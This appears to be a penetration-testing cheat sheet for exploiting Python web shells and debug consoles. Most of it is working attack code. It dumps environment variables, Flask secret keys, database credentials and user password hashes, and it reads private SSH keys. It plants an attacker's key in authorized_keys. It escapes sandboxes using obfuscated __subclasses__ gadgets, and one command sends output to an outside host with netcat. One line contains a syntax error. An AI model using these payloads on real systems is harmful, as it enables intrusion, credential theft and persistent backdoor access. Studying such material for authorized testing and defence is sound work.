Page cover

Python Web Shells

Enumerate the environment

globals

Reveals Available Objects & Modules
print(globals().keys())
print(sorted(list(globals().keys())))
print(globals())
  • If os or subprocess are available, try to run commands directly

os.system("id")
  • If not, try accessing it via builtins

__import__('os').system("id")
  • Check also environment variables

import os
print(os.environ)
  • Check the attributes of what is available:

print(dir(User))

locals

Same but for the local scope
locals().keys()

builtins

Check available built-in functions
__builtins__.__dict__

Identify Object Types

sessions

Identifies the session Object Type
print(type(session), session)
Inspect session internals (cookies, tokens)
print(session.__dict__)
Extract session data
print(session._get_current_object())
Dump SECRET_KEY (for session hijacking)
print(app.config)
print(app.config['SECRET_KEY'])

db

Identifies the database Object type
print(type(db), dir(db))
List methods/attributes
dir(db)
  • There is a Django Admin Shell?

Check if Django ORM is available
print(type(db))
Dump Authorized users
print(db.connection.cursor().execute("SELECT * FROM auth_user;").fetchall())
Dump all table names
print(db.connection.cursor().execute("SELECT name FROM sqlite_master WHERE type='table';").fetchall())
  • If db is SQLAlchemy?

Database Credential Extraction
print(db.engine.url)
  • If query and User are available:

See how many users there are in the database
print(User.query.all())
Get the username and password for all users
print('\n'.join(f"{u.username}:{u.password]}" for u in users))
Enumerate the system
Check working directory
os.getcwd()
List content of the current directory
os.listdir()
List content of a particular directory
os.listdir('/home/user/.ssh')
Read files
with open('/home/user/.ssh/id_rsa','r') as f: f.read()

Try to inject SSH keys

with open('/home/user/.ssh/authorized_keys','a') as f: f.write('\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0SwpwZ7rgMtCZYzkDtFJvQZO20N+8DmYxOix+PgL6VQW/9wZC3xnKK1zeAelMYtv/O38GXE2ghUH7z6ayVmTMkjGqt18mhsEpCt0BbonGRC0IHoBsV5QBVNin+x1soVdECT1Tr45bNnTnkZXIgSyDumc+2Ix6A1wiiC5RbI3SrxJ7nL0lRlhjdoAH6KCb4dwhX+Jos0VudHRreE01+0YE0Qb7Sd0eA5Cq7UtjgiW6VyXcmWH7aQdVZlUanrs5wdwWYeVCxY/XfFCCDmHZw+8W5INudM2t7on7bl/rYnhAExOr14/1s7LfYAfV8B6VNPPX+IOzOcT4aYQC3rRDiG5P tokyo@arch')
Bypass Sandbox

Pass modules as strings:

By adding strings
print(globals()['o' + 's'])
By reversing the string
print(globals()['so'[::-1]])
Whole command execution flow POC
o_s = globals()['so'[:1]]
po_pen = getattr(o_s, 'poXpen'.replace('X', ''))
cmd = po_pen('id')
res = getattr(cmd, 're' + 'ad')()
print(res)

Works if builtins is accessible - common in debug consoles

__builtins__.__import__('os').system('id')

Find usable classes - If __builtins__ is restricted

print([x.__name__ for x in (1).__class__.__base__.__subclasses__()]) 

Using catch_warnings - Common in Python 3

[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('id')
Python 3.10+ alternative to catch_warnings
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == '_IterationGuard'][0].__init__.__globals__['os'].system('id')

subprocess.Popen - If os is Blocked

[x for x in ().__class__.__base__.__subclasses__() if x.__name__ == 'Popen'][0](['whoami'], stdout=-1).communicate()

importlib Bypass - If import is Restricted

[x for x in (1).__class__.__base__.__subclasses__() if 'wrap_socket' in x.__name__][0].__init__.__globals__['__import__']('os').system('id')

For Older Python sandboxes - Python 2.x, some 3.x

[w for w in 1..__class__.__base__.__subclasses__() if w.__name__=='Quitter'] [0].__init__.__globals__['sy'+'s'].modules['o'+'s'].__dict__['sy'+'stem']('whoami | nc 10.10.16.25 8888')
Exploit sessions

Stealing Flask Session Cookies

  • If session is a LocalProxy, you can extract its real data.

Check internal structure
print(session.__dict__)
Get raw session data
print(session._get_current_object())
  • If the secret key is exposed you can forge malicious sessions.

Modifying Django Sessions

Dump all sessions (if DB access)
from django.contrib.sessions.models import Session
print(Session.objects.all())  
Look for RCE

Use the subprocess.check_output() function instead to execute code and save it to a variable:

import subprocess
proc = subprocess.check_output('whoami', shell=True );
print(proc.decode('utf-8'))
Run commands
proc = subprocess.check_output('ls -la /home/hal', shell=True );
print(proc.decode('utf-8'))

Last updated